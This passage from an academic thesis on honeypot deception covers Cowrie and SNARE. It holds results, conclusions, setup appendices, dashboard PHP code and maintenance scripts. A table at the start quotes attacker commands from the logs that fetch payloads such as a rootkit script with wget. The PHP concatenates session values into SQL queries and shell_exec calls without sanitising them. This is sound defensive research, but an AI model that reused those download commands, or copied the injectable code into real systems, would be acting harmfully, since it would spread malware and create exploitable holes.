23 wget http://IP address/rootankit.sh 
 
2D No  
24 wget -O /tmp/xxx http://IP 
address:8080/xxx 
2D No  
25 wget -O /root/tuan http://IP address/tuan 2D No 
26 wget -c http://IP address:8080/Ceo 2D No 
 
D. EVALUATION OF DECEPTION TECHNIQUES 
We implemented the fake file deception techniques on the Web honeypot during 
Phase 2A. Attackers, however, did not access the files on the honeypot. One possible 
reason is that the attackers were mostly non-interactive bots preprogrammed to perform 
horizontal scanning and find vulnerable Web pages. Another possible reason is that our 
honeypot did not attract attackers who were interested in files. We concluded that the first 
reason is more likely as we observed many session durations less than one second.  
On the SSH honeypot after fingerprinting the server, the next most common 
action was transferring malicious files onto the server, probably to try to reach back to a 
bot command and control or install a malicious software to further propagate the file. 
Most attackers would try to transfer the file from their host machines rather than use a 
common server. We also discovered attackers transferring files using a pipe command on 
the client end when initiating the SSH session instead of using the wget command during 
the SSH session. Such a technique makes it harder to detect the file transfer and difficult 
to implement any deception during the file transfer because the pipe command is only 
visible on the client machine and not the honeypot.  
In Phases 2B and 2C, we wanted to be able to possess the files before we sent 
responses to the clients. When a client transferred files from its host machine, however, 
we would observe their session once the file transfer was completed. Since our deception 
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was sent only after the file transfer was completed, the deception did not happen in these 
cases. 
Our experiments found that most of the SSH sessions were non-interactive SSH 
sessions. Such sessions send all their commands to the SSH server at the start of the 
session and do not interact with it thereafter. With such sessions, the client will not 
respond to deceptions during the same session. 
Based on the data we collected from our experiment, it was apparent that attackers 
continue to try to transfer their files when they have failed previously. Yet, because there 
were insufficient successful transfers, it is difficult to know whether attackers would also 
try to transfer the files again even if they had successfully done so. Also, due to the 
passive nature of a non-interactive SSH session, we can effectively penalize attackers by 
imposing a delay prior to their file transfers. 
  
68 
THIS PAGE INTENTIONALLY LEFT BLANK 
 
69 
VI. CONCLUSIONS AND FUTURE WORK 
A. CONCLUSION 
This thesis focused on how cyber attackers will react to deception techniques 
employed on honeypots. Our research collected data using SSH honeypot Cowrie and 
Web honeypot SNARE, which were deployed on a line provided by an Internet service 
provider. We ran five phases on Cowrie and two phases on SNARE where we used 
different deception techniques. We implemented the SNARE and Cowrie honeypots to 
appear as if the two were running on the same server. Only a few attackers accessed both 
honeypots. When they did so, they scanned them independently.  
Several factors limited the effectiveness of our deception techniques. For fake file 
deception to work, we need a human attacker or a bot that understands the value of 
different files in the server. Nevertheless, our data says that the attackers were mostly 
bots that scanned the server for vulnerable files. Even when the files were available, the 
attackers did no further action. On the SSH honeypot, we observed that the SSH sessions 
were primarily non-interactive. Usually all the commands were sent at the start of the 
session, and the attackers did not check the responses we returned during the session. For 
such attackers, infinite delay is a good technique to penalize them, as it would be difficult 
for them to exit the session without human intervention. Defensive camouflage could 
work with abnormal responses from our honeypot. For false excuses, it could be used as a 
good response to stop attackers from transferring files that we have seen before onto the 
honeypot.  
B. FUTURE WORK 
Our work on the SSH honeypot focused on responding to clients using the wget 
command. However, attackers have alternative means of transferring files to the SSH 
server and it would be worthwhile to explore deception techniques against them. We also 
observed that many of the file-transfer attempts by clients did not complete successfully. 
It might be interesting to return a false response to the client indicating a successful 
transfer and observe what they would do next. 
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APPENDIX A. INSTALLATION OF SNARE  
Retrieving SNARE code 
git clone https://github.com/mushorg/snare.git 
 
Installation of pip to facilitate easy installation of SNARE 
sudo apt-get install python3-pip 
 
Installing SNARE with specific requirements 
sudo pip3 install -r requirements.txt 
sudo pip3 install yarl==0.18.0 
sudo pip3 install aiohttp==1.3.0 
 
Cloning a website 
sudo python3 clone.py --target http:// www.montereynavyflyingclub.org  
 
Running SNARE with TANNER 
sudo python3 snare.py --port 80 --host 0.0.0.0 --page-dir 
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APPENDIX B. INSTALLATION OF TANNER  
Retrieving TANNER code 
git clone https://github.com/mushorg/tanner.git 
 
Installing Redis 
sudo apt-get install redis-server 
 
Installation of pip to facilitate easy installation of TANNER 
sudo apt-get install python3-pip 
 
Installing TANNER 
sudo pip3 install -r requirements.txt 
sudo pip3 install aiohttp==2.3.0 
sudo python3 setup.py install 
 
Installing Mongo database 
sudo apt-get install php7.0 php7.0-fpm php7.0-mysql –y 
sudo apt install composer 
sudo composer require mongodb/mongodb 
sudo apt install mongodb-clients 
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APPENDIX C. INSTALLATION OF COWRIE 
Retrieving Cowrie code 
git clone http://github.com/micheloosterhof/cowrie 
 
Installing pre-requisites 
sudo apt-get install git python-dev python-openssl openssh-server python-pyasn1 python-
twisted authbind virtualenv libmpfr-dev libssl-dev libmpc-dev libffi-dev build-essential 
libpython-dev 
 
Installation of pip to facilitate easy installation of Cowrie 
sudo apt-get install python-pip 
 
Installing Cowrie 
sudo pip install --upgrade -r requirements.txt 
 
Installing MySQL 
sudo apt-get install mysql-server python-mysqldb 
 
Configuring Cowrie to use MySQL 
Change password by executing “mysql -u root –p” 
 
At the MySQL prompt, create an empty Cowrie database by executing 
CREATE DATABASE cowrie; 
GRANT ALL ON cowrie.* TO cowrie@localhost IDENTIFIED BY 'cowrie'; 
Exit 
 




Edit the Cowrie configuration file to use MySQL database 
[database_mysql] 
host = *.129 (type in actual IP address) 
database = cowrie 
username = cowrie 
password = cowrie 
port = 3306 
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APPENDIX D. MODIFIED CODE 
We modified and created new Kippo-graph files in the Data Analysis machine to 
aid us in presenting the information in bar charts, pie charts, and tables. The files that 
were modified or created are listed in italics. 
 
1. Replay inputs made by attackers using non-interactive login 
var/www/html/kippo-graph/include/play.php 
 
//Start - Codes to update ttylog if no ttylog not found in database  
if ($rows == null) { 
$getTTYLogs = shell_exec($cowrie_path.'log/tty | grep '.$session); 
        $array = preg_split("/\r\n|\n|\r/", $getTTYLogs); 
      
         for ($i = 0; $i < count($array)-1; $i++) { 
          $execute_Query = "Insert into ttylog set size = '88', session ='".$session."', 
  ttylog='log/tty/".$array[$i]."'"; 
  R::exec($execute_Query); 
 } 
 $rows = R::getAll($db_query); 
} 
//End - Codes to update ttylog if no ttylog not found in database  
 
//Start - Codes to replay ttylog 
foreach ($rows as $row) { 
             $log = $cowrie_path.$row['ttylog']; 
             $output = $output . "<br>" .shell_exec($cowrie_path.'bin/playlog -m 0 '.$log)  ; 
} 
//End - Codes to replay ttylog 
 
//Start - Codes to retrieve input commands from database “input” table 
$db_query = "SELECT * from input where session ='$session'"; 
$rows = R::getAll($db_query); 
 
foreach ($rows as $row) { 
            $output1 = $output1 . $row['input'] ."<br>";  
} 
echo "<pre>".$output1."</pre>"; 






2. Attackers accessing both Cowrie and Snare 
var/www/html/kippo-graph/class/KippoIP.php 
 




 $redis = new Predis\Client(); 
} 
catch (Exception $e) { 
 die($e->getMessage()); 
} 
$keys = $redis->keys('*'); 
for ($i=0;$i<count($keys);$i++) { 
try {  
  $this->data[$i] = json_decode($redis->get($keys[$i]), true);   
 } 
 catch (Exception $e) { 
     } 
} 
//End - Connection to redis and storing data into data array 
//Start - Checking and displaying IP addresses that are in both Cowrie and Snare 
$items=array(); 
for ($i=0; $i<count($this->data); $i++) {  
 try{     
  if(!in_array($this->data[$i]['peer']['ip'], $items)){ 
           $items[]=$this->data[$i]['peer']['ip']; 
          }  
 } 
 catch (Exception $e) { 
 }      
} 
foreach ($rows as $row) { 
if (in_array($row['ip'],$items)) { 
echo '<tr class="light word-break" onclick=\'getIPinfo("' . $row['ip'] . 
'")\'>'; 
                     echo '<td>Duplicate ' . $row['ip'] . '</td>'; 
} 
            else { 
  echo '<tr class="light word-break" onclick=\'getIPinfo("' . $row['ip'] . 
'")\'>'; 
             echo '<td>' . $row['ip'] . '</td>'; 
} 
} 










 $redis = new Predis\Client(); 
} 
catch (Exception $e) { 
 die($e->getMessage()); 
} 
   
$keys = $redis->keys('*'); 
for ($i=0;$i<count($keys);$i++) { 
try {  
  $this->data[$i] = json_decode($redis->get($keys[$i]), true);   
 } 
 catch (Exception $e) { 
     } 
} 
//End - Connection to redis and storing data into data array 
 
//Start - Generate all the Snare-Graph charts 
public function generateSnareGraphCharts() 
{ 
$this->createMostProbesPerDay(); 





//End  - Generate all the Snare-Graph charts 
 
//Start - Display total number of sessions 
echo '<th>Total sessions</th>'; 
echo '<th>' . count($this->data) . '</th>'; 
//End - Display total number of sessions 
 
//Start - Display total number of distinct IP addresses 
$distinctIP=array(); 
for ($i=0; $i<count($this->data); $i++) {  
 try{      
  if(!in_array($this->data[$i]['peer']['ip'], $distinctIP)) { 
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           $distinctIP[]=$this->data[$i]['peer']['ip']; 
          }  
 } 
 catch (Exception $e) { 
 }      
} 
 
echo '<th>Distinct source IP addresses</th>'; 
echo '<th>' . count($distinctIP) . '</th>'; 
//End - Display total number of distinct IP addresses 
 
//Start - Display operational time period 
$start_time = 0; 
$end_time =0;  
$start_time_index = 0; 
$end_time_index = 0; 
 
for ($i=0; $i<count($this->data); $i++) {  
 if ($i == 0) { 
  $start_time = $this->data[0]['start_time']; 
  $end_time = $this->data[0]['end_time']; 
 }     
 else { 
  if ($start_time > $this->data[$i]['start_time'] && $this-
>data[$i]['start_time']!=0) { 
   $start_time = $this->data[$i]['start_time']; 
   $start_time_index = $i; 
  } 
if ($end_time < $this->data[$i]['end_time'] && $this-
>data[$i]['end_time']!=0) { 
   $end_time = $this->data[$i]['end_time']; 
   $end_time_index = $i; 




if (count($this->data)) { 
            echo '<th colspan="2">Active time period</th>'; 
            echo '<th>Start date (first attack)</th>'; 
            echo '<th>End date (last attack)</th>'; 
 
            echo '<td>' . $this->data[$start_time_index]['start_strtime'] . '</td>'; 
echo '<td>' . $this->data[$end_time_index]['end_strtime'] . '</td>'; 
} 
//End- Display operational time period 
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//Start - Display top 10 IP addresses 
$ipConnections=array();     
for ($i=0; $i<count($this->data); $i++) {  
     $ipConnections[$i]=$this->data[$i]['peer']['ip'];  
} 
$vals = array_count_values($ipConnections); 
  
if (count($vals)) { 
arsort($vals); 
 $count = 0; 
foreach($vals as $paramName => $value) { 
    if ($count == 10) { 
   break; 
  } 
  else { 
   $dataSet->addPoint(new Point($paramName, $value)); 
  }   
  $count++; 
} 
} 
//End - Display top 10 IP addresses 
 
//Start - Display top 20 probes per day 
 
$start_date = 0; 
$probesDay = array();  
 
for ($i=0; $i<count($this->data); $i++) {  
$probesDay[$i] = (int)(($this->data[$i]['start_time'])/86400); 
} 
$vals = array_count_values($probesDay); 
   
//Most probes 
if (count($vals)) { 
arsort($vals); 
foreach($vals as $paramName => $value) { 
  if ($paramName!=0) { 
$dataSet->addPoint(new Point(date("Y-m-d", substr($paramName 
* 86400, 0, 10)), $value)); 
  } 
} 
} 
// Probes per day 
if (count($vals)) { 
ksort($vals); 
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foreach($vals as $paramName => $value) { 
  if ($paramName!=0) { 
$dataSet->addPoint(new Point(date("Y-m-d", substr($paramName 
* 86400, 0, 10)), $value)); 
  } 
} 
} 
//End - Display top 20 probes per day 
 
//Start - Display top 10 paths 
$paths=array();     
for ($i=0; $i<count($this->data); $i++) {  
     $paths[$i]=$this->data[$i]['paths'][0]['path']; 
} 
$vals = array_count_values($paths); 
  
if (count($vals)) { 
arsort($vals); 
$count = 0; 
 foreach($vals as $paramName => $value) { 
    if ($count == 10) { 
   break; 
  } 
  else { 
   $dataSet->addPoint(new Point($paramName, $value)); 
  }   
  $count++; 
} 
} 
//End - Display top 10 paths 
 
//Start - Display top 10 user agents 
$user_agents=array();     
for ($i=0; $i<count($this->data); $i++) {  
     $user_agents[$i]=$this->data[$i]['user_agent']; 
} 
$vals = array_count_values($user_agents); 
  
if (count($vals)) { 
 arsort($vals); 
$count = 0; 
 foreach($vals as $paramName => $value) { 
    if ($count == 10) { 
   break; 
  } 
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  else { 
   $dataSet->addPoint(new Point($paramName, $value)); 
  }   
  $count++; 
 } 
} 
//End - Display top 10 user agents 
    
//Start - Display the frequency of each type of attack 
$attack_types=array();  
$sqli_attack=array();  
$lfi_attack=array();   
$rfi_attack=array(); 
$xss_attack=array(); 
$cmd_exec_attack=array();   
$unknown_attack=array();  
  
for ($i=0; $i<count($this->data); $i++) {  
     $attack_types[$i]=$this->data[$i]['paths'][0]['attack_type']; 
 if ($attack_types[$i] == "sqli") { 
  $sqli_exec_attack[]=$this->data[$i]['paths'][0]['path']; 
 }   
 elseif ($attack_types[$i] == "lfi") { 
  $lfi_attack[]=$this->data[$i]['paths'][0]['path']; 
 } 
 elseif ($attack_types[$i] == "rfi") { 
  $rfi_attack[]=$this->data[$i]['paths'][0]['path']; 
 } 
   
 elseif ($attack_types[$i] == "xss") { 
  $xss_attack[]=$this->data[$i]['paths'][0]['path']; 
 } 
 elseif ($attack_types[$i] == "cmd_exec") { 
  $cmd_exec_attack[]=$this->data[$i]['paths'][0]['path']; 
 } 
            elseif ($attack_types[$i] == "unknown") { 
  $unknown_attack[]=$this->data[$i]['paths'][0]['path']; 
 } 




$vals = array_count_values($attack_types); 
$sqli_vals = array_count_values($sqli_attack); 
$lfi_vals = array_count_values($lfi_attack); 
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$rfi_vals = array_count_values($rfi_attack); 
$xss_vals = array_count_values($xss_attacks); 
$cmd_exec_vals = array_count_values($cmd_exec_attack); 
$unknown_vals = array_count_values($unknown_attack); 
  
if (count($vals)) {  
arsort($vals); 
 foreach($vals as $paramName => $value) { 
  $dataSet->addPoint(new Point($paramName, $value)); 
 } 
} 
//End - Display the frequency of each type of attack 
 
//Start - Display Top 10 of each attack types 
if (count($sqli_vals)) { 
arsort($sqli_vals); 
 $count = 0; 
 foreach($sqli_vals as $paramName => $value) { 
  if ($count == 10) { 
   break; 
  } 
  else { 
   $dataSet->addPoint(new Point($paramName, $value)); 
  }   





if (count($lfi_vals)) { 
 arsort($lfi_vals); 
 $count = 0; 
 foreach($lfi_vals as $paramName => $value) { 
  if ($count == 10) { 
   break; 
  } 
  else { 
   $dataSet->addPoint(new Point($paramName, $value)); 
  }   
  $count++; 
} 
} 
if (count($rfi_vals)) { 
arsort($rfi_vals); 
 $count = 0; 
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foreach($rfi_vals as $paramName => $value) { 
  if ($count == 10) { 
   break; 
  } 
  else { 
   $dataSet->addPoint(new Point($paramName, $value)); 
  }   




if (count($xss_vals)) { 
arsort($xss_vals); 
$count = 0; 
 foreach($xss_vals as $paramName => $value) { 
  if ($count == 10) { 
   break; 
  } 
  else { 
   $dataSet->addPoint(new Point($paramName, $value)); 
  }   





if (count($cmd_exec_vals)) { 
arsort($cmd_exec_vals); 
$count = 0; 
 foreach($cmd_exec_vals as $paramName => $value) { 
  if ($count == 10) { 
   break; 
  } 
  else { 
   $dataSet->addPoint(new Point($paramName, $value)); 
  }   
  $count++; 
} 
} 
        
         
if (count($unknown_vals)) { 
arsort($unknown_vals); 
 $count = 0; 
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foreach($unknown_vals as $paramName => $value) { 
  if ($count == 10) { 
   break; 
  } 
  else { 
   $dataSet->addPoint(new Point($paramName, $value)); 
  }   
  $count++; 
} 
} 
//End - Display Top 10 of each attack types 
 
//Start - Display the top 10 SSH clients 
$db_query = "SELECT clients.version, COUNT(client) 
FROM sessions INNER JOIN clients ON sessions.client = clients.id 
           GROUP BY sessions.client 
           ORDER BY COUNT(client) DESC 
           LIMIT 10"; 
 
$rows = R::getAll($db_query); 
 
if (count($rows)) { 
            $chart = new HorizontalBarChart(600, 300); 
            $dataSet = new XYDataSet(); 
 
            foreach ($rows as $row) { 
                $dataSet->addPoint(new Point($row['version'] . " ", $row['COUNT(client)'])); 
            } 
         
            $chart->setDataSet($dataSet); 
            $chart->setTitle(TOP_10_SSH_CLIENTS); 
            $chart->getPlot()->setGraphPadding(new Padding(5, 30, 70, 245)); 
            $chart->render(DIR_ROOT . "/generated-graphs/top10_ssh_clients.png"); 
} 










//Start - Retrieving the distinct session from ttylog table 
$db_query = "SELECT distinct session FROM ttylog"; 
$cowrie_path = COWRIE_PATH; 
$rows = R::getAll($db_query); 
$counter = 1; 
//End - Retrieving the distinct session from ttylog table 
 
//Start - Displaying the hashes of every inputs of each distinct session 
foreach ($rows as $row) { 
 //Retrieving the ttylogs 
$db_query1 = "SELECT ttylog, session FROM ttylog WHERE 
session='".$row['session']."'"; 
$rows1 = R::getAll($db_query1); 
$output = ""; 
$input = ""; 
$ipAddress = "";   
 
//Retrieving the inputs from the sessions 
$db_query2 = "SELECT input from input where session = '".$row['session']."'"; 
$rows2 = R::getAll($db_query2); 
foreach ($rows2 as $row2) { 
$input = $input ."<br />". $row2['input'];  
} 
 
//Retrieving the IP address from the sessions 
$db_query3 = "SELECT ip from sessions where id = '".$row['session']."'"; 
$rows3 = R::getAll($db_query3); 
foreach ($rows3 as $row3) { 
$ipAddress = $row3['ip'];  
} 
 
$first = true; 
foreach ($rows1 as $row1) { 
echo '<tr class="light word-break">';     
echo '<td>' . $counter . '</td>'; 
echo '<td>' . $ipAddress . '</td>'; 
echo '<td>' . $row['session']. '</td>';  
echo '<td>' . $row1['ttylog']. '</td>';                
$log = $cowrie_path.$row1['ttylog']; 
$output = shell_exec($cowrie_path.'bin/playlog -m 0 '.$log)  ; 
echo '<td>' . md5($output). '</td>'; 
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if ($first) {   
echo '<td>' . md5($input). '</td>'; 






}    
} 
//End - Displaying the hashes of every inputs of each distinct session 
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mv kippo-graph-VERSION.tar.gz /var/www/html 
cd /var/www/html 
sudo tar zxvf kippo-graph-VERSION.tar.gz 
sudo mv kippo-graph-VERSION kippo-graph 
sudo cd kippo-graph 
sudo chmod 777 generated-graphs 
sudo cp config.php.dist config.php 
 
Installing MySQL 
sudo apt-get install mysql-server python-mysqldb 
 





















APPENDIX F. USEFUL SCRIPTS 
These scripts are placed in the /usr/local/bin folder on the respective machines and 
are run manually when we need to perform the required job. 
 
Backup script on SNARE and Cowrie virtual machine 
cd ~ 




echo "-------Performing Cowrie Logs Backup---------" 
echo "Backup existing logs to cowrie_log.YYYYMMDD_HHMM.tgz at home backup 
folder" 
sudo tar czf cowrie_log.$(date +%Y%m%d_%H%M).tgz /home/nginx/cowrie/log 
sudo tar czf cowrie_dl.$(date +%Y%m%d_%H%M).tgz /home/nginx/cowrie/dl 
echo "Cowrie Logs and Download backup completed" 
 
echo "Remember to type "sudo clearall" to clear logs" 
 
Clear data script on SNARE and Cowrie virtual machine 
#!/bin/bash 




echo "------- Clearing Cowrie Logs --------" 
echo "Clearing the tty logs folder" 
sudo rm /home/nginx/cowrie/log/* -Rf 
sudo mkdir -p /home/nginx/cowrie/log/tty 
sudo chown nginx:nginx /home/nginx/cowrie/log/tty 
sudo chmod 755 /home/nginx/cowrie/log/tty 
echo "Cowrie Logs cleared" 
 
echo "" 
echo "Clearing the download folder" 
sudo rm /home/nginx/cowrie/dl/* -Rf 
echo "Cowrie Logs cleared" 






Backup script on TANNER and database virtual machine 
cd ~ 
mkdir -p backup 
cd backup 
echo "-------Performing Cowrie Database Backup--------" 
echo "Performing SQL dump, backup to cowrie_db.YYYYMMDD_HHMM.sql at home 
backup folder" 
echo "Enter your password to Cowrie Database" 
mysqldump -u cowrie -p cowrie > cowrie_db.$(date +%Y%m%d_%H%M).sql 
 
echo"" 
echo "-------Performing Cowrie Logs Backup---------" 
echo "Backup existing logs to cowrie_log.YYYYMMDD_HHMM.tgz at home backup 
folder" 
sudo tar czf cowrie_log.$(date +%Y%m%d_%H%M).tgz /home/chong/cowrie/log 
sudo tar czf cowrie_dl.$(date +%Y%m%d_%H%M).tgz /home/chong/cowrie/dl 
echo "Cowrie Logs backup completed" 
 
echo "" 
echo "---------Performing Tanner Mongo Database Backup---------" 
echo "Backup Tanner Mongo Database to 
tanner_mongo_db.YYYYMMDD_HHMM.archive at home backup folder" 
cd /home/chong/backup 
sudo service mongod start 
sudo mongodump --archive=tanner_mongo_db.$(date +%Y%m%d_%H%M).archive --
db tanner 
echo "Tanner Mongo Database backup completed" 
 
echo "" 
echo "--------Performing Tanner Redis Database Backup --------" 
echo "Backup Tanner Redis Database to tanner_redis_db.YYYYMMDD_HHMM.rdb at 
home backup folder" 
sudo cp /var/lib/redis/dump.rdb /home/chong/backup/tanner_redis_db.$(date 
+%Y%m%d_%H%M).rdb 
echo "Tanner Redis Database backup completed" 
 
echo "Remember to clear the logs using 'sudo clearall'" 
 
Clear data script on TANNER and database virtual machine 
#!/bin/bash 




echo "------- Clearing Cowrie Database --------" 
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echo "Clearing the Cowrie Database" 
echo "Enter your password to Cowrie Database" 
mysql -u cowrie -p cowrie < /home/chong/cowrie/doc/sql/cowrie_fresh_db.sql 
echo "Cowrie Database cleared" 
 
echo "" 
echo "------- Clearing Cowrie Logs --------" 
echo "Clearing the tty logs folder" 
sudo rm /home/chong/cowrie/log/* -Rf 
sudo mkdir -p /home/chong/cowrie/log/tty 
sudo chmod 777 /home/chong/cowrie/log/tty 
echo "Cowrie Logs cleared" 
 
echo "" 
echo "------- Clearing Cowrie Downloads --------" 
echo "Clearing the download folder" 
sudo rm /home/chong/cowrie/dl/* -Rf 
sudo mkdir -p /home/chong/cowrie/dl 
sudo chmod 777 /home/chong/cowrie/dl 
echo "Cowrie Downloads cleared" 
 
echo "" 
echo "-------Clearing Kippo Graphs-------" 
echo "Clearing the Kippo Graphs" 
sudo rm /var/www/html/kippo-graph/generated-graphs/* 
sudo touch /var/www/html/kippo-graph/generated-graphs/index.html 
 
echo "" 
echo "------- Clearing Tanner Mongo Database --------" 
echo "Clearing the Tanner Mongo Database" 
sudo mongo tanner --eval "printjson(db.dropDatabase())" 
echo "Tanner Mongo Database cleared" 
 
echo "------- Clearing Tanner Redis Database --------" 
echo "" 
echo "Clearing the Tanner Redis Database" 
sudo redis-cli flushall 
echo "Tanner Redis Database cleared" 
 
Restore script on TANNER and database virtual machine 
#!/usr/bin/env bash 
if [ -z "$1" ] 
  then { 
    echo "Usage: sudo restore YYYYMMDD_HHMM" 
  } 
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  else { 
    date=$1 
    echo "--------Restoring Cowrie Database---------" 
    echo "Enter your Cowrie account password" 
    mysql -u cowrie -p cowrie < /home/chong/backup/cowrie_db.$date.sql 
    echo "Cowrie Database restore completed!" 
         
    echo "" 
    echo "--------Restoring Cowrie Logs-----------" 
    cd / 
    sudo cp /home/chong/backup/cowrie_log.$date.tgz . 
    sudo tar xzf cowrie_log.$date.tgz 
    sudo rm cowrie_log.$date.tgz 
echo "Restore Cowrie Logs completed!" 
 
echo "" 
echo "--------Restoring Cowrie Downloads-----------" 
cd / 
sudo cp /home/chong/backup/cowrie_dl.$date.tgz . 
sudo tar xzf cowrie_dl.$date.tgz 
sudo rm cowrie_dl.$date.tgz 
echo "Restore Cowrie Database completed!" 
     
    echo "" 
    echo "--------Restoring Tanner Mongo Database---------" 
    sudo mongorestore --archive=/home/chong/backup/tanner_mongo_db.$date.archive --
db tanner    
    echo "Restore Tanner Mongo Database completed!" 
 
    echo "" 
    echo "--------Restoring Tanner Redis Database--------" 
    sudo service redis-server stop 
    sudo cp -p /home/chong/backup/tanner_redis_db.$date.rdb /var/lib/redis/dump.rdb 
    sudo chown redis:redis /var/lib/redis/dump.rdb 
    sudo chmod 660 /var/lib/redis/dump.rdb 
    sudo service redis-server start 
    echo "Restore Tanner Redis Database completed!" 
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